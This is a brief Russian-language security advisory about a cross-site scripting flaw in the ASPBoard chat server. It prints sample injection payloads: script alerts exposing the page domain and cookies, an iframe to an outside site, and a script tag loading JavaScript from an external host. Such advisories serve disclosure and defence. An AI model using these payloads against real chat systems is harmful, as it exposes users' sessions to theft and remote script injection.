Межсайтовый скриптинг в ASPBoard в Chat Server от sandsprite.com

Удаленный пользователь может послать HTML код в chat сессии, чтобы который будет выполнен в браузере любого целевого пользователя, который подключен к chat сессии. Примеры:

<script>alert("You are vunerable to xss ")</script>

<SCRIPT>alert(document.domain);</SCRIPT><SCRIPT>alert(document.cookie);</SC
RIPT>

<iframe src="http://whatismyip.com"></iframe>

<script language="JavaScript"
src="http://www.astalavista.com/backend/news.js"
type="text/javascript"></script>